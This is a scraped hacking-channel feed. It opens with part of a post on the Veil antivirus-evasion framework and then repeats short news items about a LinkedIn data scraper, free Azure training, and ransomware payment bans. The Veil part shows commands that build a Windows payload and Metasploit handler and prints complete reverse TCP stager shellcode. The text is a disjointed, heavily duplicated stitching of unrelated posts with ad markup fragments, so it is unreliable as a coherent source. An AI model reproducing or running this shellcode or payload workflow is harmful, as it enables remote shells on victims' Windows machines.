@Hacking_Video
[*] Source code written to: /var/lib/veil/output/source/payload.go
[*] Metasploit Resource file written to: /var/lib/veil/output/handlers/payload.rc
$
$ file /var/lib/veil/output/compiled/payload.exe
/var/lib/veil/output/compiled/payload.exe: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
$
Veil Ordnance CLI
$ ./Veil.py -t Ordnance --ordnance-payload rev_tcp --ip 127.0.0.1 --port 4444
===============================================================================
Veil-Ordnance
===============================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================
[*] Payload Name: Reverse TCP Stager (Stage 1)
[*] IP Address: 127.0.0.1
[*] Port: 4444
[*] Shellcode Size: 287
\xfc\xe8\x86\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x8b\x4c\x10\x78\xe3\x4a\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x89\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x09\x68\x7f\x00\x00\x01\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3
$
Licensing
This project is licensed under the GNU General Public License v3 license.
See Also: Offensive Security Tool: It Was All A Dream (Windows Print Spooler RCE) Recent Tools* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/Untitled-design-90x90.png Offensive Security Tool: It Was All A Dream (Windows Print Spooler RCE)1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/unknown-e1625210118591-90x90.png Offensive Security Tool: GoSpider2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/3Gn0bEI-e1624621931936-90x90.png Offensive Security Tool: Pixload3 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/Vqwdgis-90x90.png Offensive Security Tool: SecretFinder4 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/3v1wot9-90x90.png Offensive Security Tool: CloudFail1 month ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/Screenshot_2021-06-04_053854-90x90.png Offensive Security Tool: Pacu – The Amazon Web Services Exploitation Framework1 month ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/05/Screenshot_20210527_200634-90x90.png OSINT Tool: LinkedIn Scraper2 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/05/sna-768x373-1-90x90.png Offensive Security Tool: Snallygaster2 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/05/image_2021-05-14_115500-90x90.png Offensive Security Tool: Breacher2 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/05/image_2021-05-07_124858-90x90.png Offensive Security Tool: EyeWitness2 months ago
style="display:block; text-align:center;"
data-ad-layout="in-article"
data-ad-format="fluid"
data-ad-cli[...]
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
var/lib/veil/output/compiled/payload.exe [*] Source code written to: /var/lib/veil/output/source/payload.go [*] Metasploit Resource file written to: /var/lib/veil/output/handlers/payload.rc $ $ file /var/lib/veil/output/compiled/payload.exe /var/lib/vei…
ent="ca-pub-6620833063853657"
data-ad-slot="4517761481">
The post Offensive Security Tool: Veil first appeared on Black Hat Ethical Hacking.
___________________________
@hacking_Attack
@Hacking_Video
data-ad-slot="4517761481">
The post Offensive Security Tool: Veil first appeared on Black Hat Ethical Hacking.
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
Photo
hacking: security in practice
'Tom Liner' speaks. The hacker selling 700m scraped LinkedIn records online tells BBC he did it 'for fun'. 'Tom Liner' is also the guy who gave away a database of 530m Facebook users earlier this year. Experts debate how serious these 'mega scrapes' of social media are.
https://external-preview.redd.it/0l7xql2lkKIht6hQ_Kg5y8QtiQwNSbkgRi64crHkBLc.jpg?width=640&crop=smart&auto=webp&s=ff40f661bcf0086b27313d02e1716801f8024084 submitted by /u/tides977
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
'Tom Liner' speaks. The hacker selling 700m scraped LinkedIn records online tells BBC he did it 'for fun'. 'Tom Liner' is also the guy who gave away a database of 530m Facebook users earlier this year. Experts debate how serious these 'mega scrapes' of social media are.
https://external-preview.redd.it/0l7xql2lkKIht6hQ_Kg5y8QtiQwNSbkgRi64crHkBLc.jpg?width=640&crop=smart&auto=webp&s=ff40f661bcf0086b27313d02e1716801f8024084 submitted by /u/tides977
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
reddit
'Tom Liner' speaks. The hacker selling 700m scraped LinkedIn...
Posted in r/hacking by u/tides977 • 1 point and 1 comment
Hacking Articles Tips Tricks Videos Tutorials
Photo
hacking: security in practice
Free Training on Microsoft Azure Fundamentals (AZ-900) - Will Cover Full Course
Hi everyone,
I'm currently delivering free training on Microsoft's AZ-900 (Microsoft Azure Fundamentals) course. I'm also going to be doing training on most of their other courses for those that's interested. The training should be enough to be able to write the exam associated with each course plus it will greatly benefit you in the workplace.
I truly hope this helps someone out there that needs the help. I remember what it feels like wanting to learn something like these courses and needing to write the exams but not being able to find any resources, at least not any free ones that is.
I intend on doing this completely for free to help those that's sitting in the same boat I used to be in.
Free Microsoft Azure AZ-900 Training!
submitted by /u/No-Energy2718
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
Free Training on Microsoft Azure Fundamentals (AZ-900) - Will Cover Full Course
Hi everyone,
I'm currently delivering free training on Microsoft's AZ-900 (Microsoft Azure Fundamentals) course. I'm also going to be doing training on most of their other courses for those that's interested. The training should be enough to be able to write the exam associated with each course plus it will greatly benefit you in the workplace.
I truly hope this helps someone out there that needs the help. I remember what it feels like wanting to learn something like these courses and needing to write the exams but not being able to find any resources, at least not any free ones that is.
I intend on doing this completely for free to help those that's sitting in the same boat I used to be in.
Free Microsoft Azure AZ-900 Training!
submitted by /u/No-Energy2718
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
reddit
Free Training on Microsoft Azure Fundamentals (AZ-900) - Will...
Hi everyone, I'm currently delivering free training on Microsoft's AZ-900 (Microsoft Azure Fundamentals) course. I'm also going to be doing...
Hacking Articles Tips Tricks Videos Tutorials
Photo
Dark Reading: Attacks/Breaches
Recent Attacks Lead to Renewed Calls for Banning Ransom Payments
While attackers in protected jurisdictions continue to get massive sums for continuing to breach organizations, the ransomware threat will only continue to grow.
___________________________
@hacking_Attack
@Hacking_Video
Recent Attacks Lead to Renewed Calls for Banning Ransom Payments
While attackers in protected jurisdictions continue to get massive sums for continuing to breach organizations, the ransomware threat will only continue to grow.
___________________________
@hacking_Attack
@Hacking_Video
Dark Reading
Recent Attacks Lead to Renewed Calls for Banning Ransom Payments
While attackers in protected jurisdictions continue to get massive sums for continuing to breach organizations, the ransomware threat will only continue to grow.